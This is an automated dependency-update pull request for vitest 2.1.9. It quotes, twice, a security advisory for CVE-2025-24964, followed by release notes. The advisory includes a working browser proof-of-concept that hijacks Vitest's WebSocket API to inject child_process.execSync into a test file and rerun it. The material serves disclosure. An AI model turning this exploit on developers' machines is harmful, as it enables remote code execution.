Update dependency vitest to v2.1.9 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	2.1.8 -> 2.1.9

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

• CVSS Score: 9.6 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
• https://nvd.nist.gov/vuln/detail/CVE-2025-24964
• https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
• https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
• https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
• https://github.com/vitest-dev/vitest
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
• https://vitest.dev/config/#api

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

   🚨 Breaking Changes

• Remove the empty suite from the runner  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5435 (dbbbe)
• Remove --segfault-retry  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5514 (ed60e)
• Run suite hooks in a stack  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5609 (1277d)
• Enable coverage.ignoreEmptyLines by default  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5543 (31994)
• Add correct location and snapshot fields in json reporter  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5434 (bcccc)
• Update dependency chai to v5  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5135 (73646)
• Remove watchExclude  -  by @​patak-dev in https://github.com/vitest-dev/vitest/issues/5177 (d7371)
• Change default pool to 'forks'  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5047 (7f8f9)
• Don't exit process if config failed  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5715 (f232f)
• --merge-reports to support coverage  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5736 (b7438)
• Add promise-based return assertions, do not auto-resolve returned promises  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5749 (5f710)
• Do not exit process if global setup has failed  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5726 (ddb09)
• Add meta to json output  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5802 (dd754)
• Rename indexScripts to orchestratorScripts  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5842 (49f34)
• vitest: Add "vitest list" API to print collected tests without running them  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6013 (583dd)

   🚀 Features

• Pretty print diffs coming from cause  -  by @​dubzzz in https://github.com/vitest-dev/vitest/issues/5660 (6faf8)
• Allow import statement as vi.mock path for better IDE support  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5690 (a99a1)
• Remove deprecated options  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5696 (5c308)
• Add blob reporter  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5663 (e2053)
• Add expect.poll utility  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5708 (e2e0f)
• Add browser.ui option  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5771 (a5033)
• Add median to --output-json  -  by @​Joristdh in https://github.com/vitest-dev/vitest/issues/5745 (0766b)
• Allow augmenting config.test.env  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5784 (b2469)
• Implement module mocking in browser mode  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5765 (7b2f6)
• Allow configuring expect options in the config  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5729 (fc53f)
• Add an option to print console stack trace  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5720 (e4fe6)
• Add browser frame to UI  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5808 (3796d)
• Image type add bmp  -  by @​btea in https://github.com/vitest-dev/vitest/issues/5921 (98f9b)
• Add an option to return base64 from page.screenshot  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5993 (be323)
• Expose parseAst, parseAstAsync from vite  -  by @​sheremet-va (f645e)
• Introduce experimental reported tasks  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6149 (13d85)
• api:
  • Make spec into a class instead of a tuple  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6355 (874a1)
• browser:
  • Add commands to communicate betweens server and the browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5097 (aa431)
  • Do not reload the page during watch mode  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5810 (e5b9a)
  • Support changing the viewport  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5811 (71851)
  • Add browser iframe mouse interaction  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5815 (f29b9)
  • Support click event  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5777 (839c3)
  • Rename none provider to preview, make it default  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5826 (18310)
  • Run tests in parallel in headless mode, add page.screenshot method  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5853 (81c42)
  • Implement several userEvent methods, add fill and dragAndDrop events  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5882 (4dbea)
  • Introduce expect.dom method and bundle jest-dom matchers with @vitest/browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5910 (3a96a)
  • Expose CDP in the browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5938 (bec43)
  • Add "init" command for browser tests  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5960 (49e97)
  • Add an option to take screenshots if the browser test fails  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5975 (154cb)
  • Add tripleClick to interactive api  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5987 (200a4)
  • Playwright provider doesn't allow resizing the browser viewport  -  by @​userquin and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5984 (ff978)
  • Allow preview and open in the editor screenshot error from ui  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/6113 (2d620)
  • Move page.config to server.config, add more docs  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6252 (af2b8)
  • Make iframe scalable, improve documentation  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6257 (74ca1)
  • Introduce built-in locators  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6084 (3347f)
  • Support v8 coverage  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6273 (34199)
  • Support userEvent.upload in playwright provider  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6442 (cf148)
  • Support --inspect  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6433 (0499a)
  • Support --inspect-brk  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6434 (7ab0f)
  • Allow custom HTML path, respect plugins transformIndexHtml  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6725 (16902)
• cli:
  • Extend existing list command to output only a list of file names  -  by @​Ma-hawaj and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6392 (008f0)
• config:
  • Allow percentage value for workers option  -  by @​syi0808 in https://github.com/vitest-dev/vitest/issues/5982 (b1a27)
• coverage:
  • Add thresholds.<glob>.100 option  -  by @​thor-juhasz and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6174 (f6845)
  • Add --exclude-after-remap  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6309 (5932a)
• experimental:
  • Expose vite on the test project as a separate field  -  by @​sheremet-va (bcc59)
• mocker:
  • Introduce @​vitest/mocker package, allow { spy: true } instead of a factory  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6289 (95f02)
• runner:
  • Implement test.for  -  by @​hi-ogawa and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5861 (c2380)
• spy:
  • Collect mock.contexts  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5955 (3b31a)
• ui:
  • Render tests in a tree  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5807 (7900f)
  • Load module graph on tab selection  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5844 (b117e)
  • Replace navigation tree with test explorer  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5907 (45dfc)
  • Add initializing explorer logic  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5941 (c31c4)
  • Add action to explorer item to show the test/suite line in the source code tab  -  by @​userquin and Anjorin Damilare in https://github.com/vitest-dev/vitest/issues/5948 (7ec29)
  • Show all suites/tests when parent matches  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/6106 (840e0)
• vitest:
  • Add "provide" option  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6253 (4409d)
  • Add return type and promisable mockFactory  -  by @​syi0808 and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6139 (f5e0b)
  • Add vi.advanceTimersToNextFrame  -  by @​bnjm and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6347 (8ff63)
  • Allow env to be stubbed to undefined  -  by @​JSanchezIO and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6359 (c3b27)
• ws-client:
  • Allow change reactive for state, filesMap and idMap  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5906 (e6020)

   🐞 Bug Fixes

• Print console statements in vmThreads  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5678 (34a80)
• Repeatable --exclude option  -  by @​fregante in https://github.com/vitest-dev/vitest/issues/5782 (d6700)
• Remove browser.fileParallelism  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5790 (b881e)
• Install UI icons  -  by @​sheremet-va (b84f1)
• Remove process.exit if workspace project failed to be created  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5804 (a820e)
• Vi.waitFor/vi.waitUntil interval is now cleared after it times out  -  by @​pedro00dk in https://github.com/vitest-dev/vitest/issues/5875 (04107)
• ToJSON recursive error serialization  -  by @​eddienubes in https://github.com/vitest-dev/vitest/issues/5848 and https://github.com/vitest-dev/vitest/issues/5884 (8d55d)
• Print error properties only in verbose reporter  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5917 (2bd8d)
• Use TTY reporter when running in Deno  -  by @​marvinhagemeister in https://github.com/vitest-dev/vitest/issues/5972 (e0f45)
• Don't override uppercase  -  by @​sheremet-va (caef4)
• Clear screen and scrollback on iTerm2  -  by @​kxalex in https://github.com/vitest-dev/vitest/issues/5978 (d7f23)
• Include pretty-format in @​vitest/runner for optimization on npm  -  by @​sheremet-va (42bd4)
• Transpile esnext to node18 to support newest JS and TS features  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/4409 (8f65a)
• --inspect-brk stop on Windows  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6110 (f8519)
• One-line environment options  -  by @​hahanein in https://github.com/vitest-dev/vitest/issues/5105 (38269)
• Resolve assets imported with require  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6159 (807a2)
• Show a difference between string characters if both values are strings  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6191 (29176)
• testNamePattern adds leading space  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6186 (073a5)
• Correctly resolve nested mocks with index file  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6266 (081cf)
• Don't panic when coverage.reporter is a string  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6267 (7b37d)
• Align RawMatcherFn type definition with Jest  -  by @​wheresrhys in https://github.com/vitest-dev/vitest/issues/6351 (d09f0)
• Cjs build of vite node server  -  by @​AkaraChen in https://github.com/vitest-dev/vitest/issues/6389 (12e70)
• Allow inlining vite's cached dependencies  -  by @​chriswheeldon-peakon in https://github.com/vitest-dev/vitest/issues/6284 (03208)
• Print unexpected error message if peer dependencies have a different version  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6446 (b992b)
• Ignore importer when resolving Vitest  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6469 (0b447)
• expect.getState().testPath always returns correct path  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6472 (ac698)
• UserEvent works consistently between providers  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6480 (0b4da)
• Move Vitest.setServer to post configureServer hook to enable import analysis for workspace config loading  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6584 (e7f35)
• Fix error diff of toBeNaN, toBeUndefined, toBeNull, toBeTruthy, toBeFalsy  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6697 (e0027)
• Don't normalize drive case letter in root  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6792 (b28cd)
• dangerouslyIgnoreUnhandledErrors without base reporter  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6808 (0bf0a)
• Capture unhandledRejection even when base reporter is not used  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6812 (8878b)
• Don't change the working directory when loading workspace projects  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6811 (f0aea)
• Remove sequence.concurrent from the RuntimeConfig type  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6880 (6af73)
• Stop the runner before restarting, restart on workspace config change  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6859 (b01df)
• Don't rerun on Esc or Ctrl-C during watch filter  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6895 (98f76)
• Print ssrTransform error  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6885 (4c96c)
• Throw an error and a warning if .poll, .element, .rejects/.resolves, and locator.* weren't awaited  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6877 (93b67)
• Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
• Support Node 21  -  by @​sheremet-va (92f7a)
• Backport #​7317 to v2  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/7318 and https://github.com/vitest-dev/vitest/issues/7317 (e0fe1)
• Backport #​7317 to v1  -  by @​hi-ogawa and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/7319 and https://github.com/vitest-dev/vitest/issues/7317 (7ce9f)
• api:
  • Correct project.provide type  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5959 (0eda9)
  • Don't call process.exit manually  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5926 (e9b63)
• benchmark:
  • Clear BenchmarkResult.samples array to reduce memory usage  -  by @​hi-ogawa and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6541 (a6407)
• browser:
  • Display UI  -  by @​sheremet-va (d41e4)
  • Browser actions icons colors  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5816 (f9d9b)
  • Restore the original viewport when unselecting the preset viewport  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5821 (5ebb3)
  • Don't get stuck after the manual page refresh  -  by @​sheremet-va (2220b)
  • Use iframe id instead of calculating it from filenames  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5823 (34a31)
  • Always clean up iframes on rerun  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5827 (087fa)
  • Support @​testing-library/vue in browser mode out of the box  -  by @​sheremet-va (76b82)
  • Print correct transformed module graph  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5833 (a7581)
  • Use preview provider when running in StackBlitz  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5836 (76e13)
  • Specify entries for correct deps optimization  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5839 (c79b3)
  • Allow iframe to load even if there is a custom CSP header  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5841 (caaaf)
  • Don't optimize Vitest dependencies  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5843 (f15b4)
  • Set server.open to false and move error handling after init  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5845 (47003)
  • Show correct prepare time  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5852 (52d54)
  • Resolve coverage.reporter from string values  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5920 (f33da)
  • Correctly update inline snapshot if changed  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5925 (2380c)
  • Remove "util" warning  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5935 (48f28)
  • Remove hacky retry  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5971 (2a2c9)
  • Make userEvent more stable when running in parallel  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5974 (14a21)
  • Print screenshot path alongside the test error message  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5992 (15289)
  • Print correct stack trace in source files  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6003 (62aa7)
  • Correctly mock optimized cjs dependencies  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6035 (057b4)
  • Support shadow root and svg elements  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6036 (2e3c8)
  • Correctly inherit browser config in a workspace  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6054 (4b03e)
  • Remove @​vitest/runner > pretty-format from prebundling because it doesn't exist  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6075 (a169d)
  • Inline pretty-format and replace picocolors with tinyrainbow  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6077 (80a43)
  • Remove crypto.randomUUID from the client  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/6079 (04c83)
  • Correctly overwrite loupe require  -  by @​sheremet-va (756ac)
  • Dedupe @​vitest/browser/client  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6081 (ee725)
  • Don't release keyboard automatically  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6083 (58fac)
  • Don't import from "vite"  -  by @​sheremet-va (35655)
  • Allow immidiate reinvalidation of mocked dependencies  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6108 (f44cc)
  • Don't panic if @​vitest/browser is installed outside of project root  -

---

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Tokyo, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.